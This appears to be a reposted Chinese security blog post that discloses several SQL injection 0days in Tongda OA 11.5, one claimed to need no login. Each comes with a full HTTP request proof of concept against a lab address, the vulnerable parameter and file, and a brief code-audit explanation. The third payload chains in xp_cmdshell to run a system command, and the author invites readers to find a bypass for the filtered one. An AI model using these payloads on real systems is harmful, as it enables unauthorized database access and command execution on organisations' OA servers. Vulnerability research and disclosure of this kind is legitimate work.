续集 | 再发通达OA多枚0day

文章来源：安译Sec

这是继："全网首发 | 通达OA多枚0day分享"   对通达OA 系统更加深入的一次审计，重新审计后又发现一些问题。

0x01 SQL注入 POC(11.5版本无需登录):

漏洞参数：SORT_ID，FILE_SORT
审计版本：通达OA 11.5

POST /general/file_folder/swfupload_new.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Referer: http://192.168.202.1/
Connection: close
Host: 192.168.202.1
Content-Length: 391
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
Content-Type: multipart/form-data; boundary=----------GFioQpMK0vv2

------------GFioQpMK0vv2
Content-Disposition: form-data; name="ATTACHMENT_ID"

1
------------GFioQpMK0vv2
Content-Disposition: form-data; name="ATTACHMENT_NAME"

1
------------GFioQpMK0vv2
Content-Disposition: form-data; name="FILE_SORT"

2
------------GFioQpMK0vv2
Content-Disposition: form-data; name="SORT_ID"

------------GFioQpMK0vv2--

看看下图，在我去掉cookie之后，发现一样能注入，我测试的11.5版本存在未授权也能注入。

漏洞文件：webrootgeneralfile_folderswfupload_new.php 。

先看SORT_ID与FILE_SORT参数，这两个参数都 是通过$data[""]; 来接收变量，都直接带入SQL查询语句中，没有做任何过滤，造成注入。

0x02 SQL注入 POC（有过滤）:

漏洞参数：CONTENT_ID_STR

审计版本：通达OA 11.5

POST /general/file_folder/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Referer: http://192.168.202.1/general/file_folder/public_folder.php?FILE_SORT=1&SORT_ID=59
X-Resource-Type: xhr
Cookie: PHPSESSID=g1njm64pl94eietps80muet5d7; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=fab32701
Connection: close
Host: 192.168.202.1
Pragma: no-cache
x-requested-with: XMLHttpRequest
Content-Length: 82
x-wvs-id: Acunetix-Deepscan/209
Cache-Control: no-cache
accept: */*
origin: http://192.168.202.1
Accept-Language: en-US
content-type: application/x-www-form-urlencoded; charset=UTF-8

CONTENT_ID_STR=222&SORT_ID=59&FILE_SORT=1&action=sign

漏洞文件：webrootgeneralfile_folderfolder.php。

但是经过了td_trim函数，会过滤掉：空格、制表符、换行符、回车符、垂直制表符等。只能报错，或尝试 and 等语句判断还是没有问题的。

如果有厉害的师傅会有戏，可以绕绕试试了，先放这里了。

0x03 SQL注入 POC:

漏洞参数：remark
审计版本：通达OA 11.5

POST /general/appbuilder/web/meeting/meetingmanagement/meetingreceipt HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Referer: http://192.168.202.1/general/meeting/myapply/details.php?affair=true&id=5&nosign=true&reminding=true
X-Resource-Type: xhr
Cookie: PHPSESSID=g1njm64pl94eietps80muet5d7; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=fab32701
Connection: close
Host: 192.168.202.1
Pragma: no-cache
x-requested-with: XMLHttpRequest
Content-Length: 97
x-wvs-id: Acunetix-Deepscan/186
Cache-Control: no-cache
accept: */*
origin: http://192.168.202.1
Accept-Language: en-US
content-type: application/x-www-form-urlencoded; charset=UTF-8

m_id=5&join_flag=2&remark='%3b%20exec%20master%2e%2exp_cmdshell%20'ping%20172%2e10%2e1%2e255'-

漏洞文件：

webrootgeneralappbuildermodulesmeetingmodelsMeetingReceipt.php。

漏洞存在于$remark=$data['remark']; 与$form->REMARK = $remark; 可以看到remark参数没有过滤，直接拼接到insert语句中造成的注入。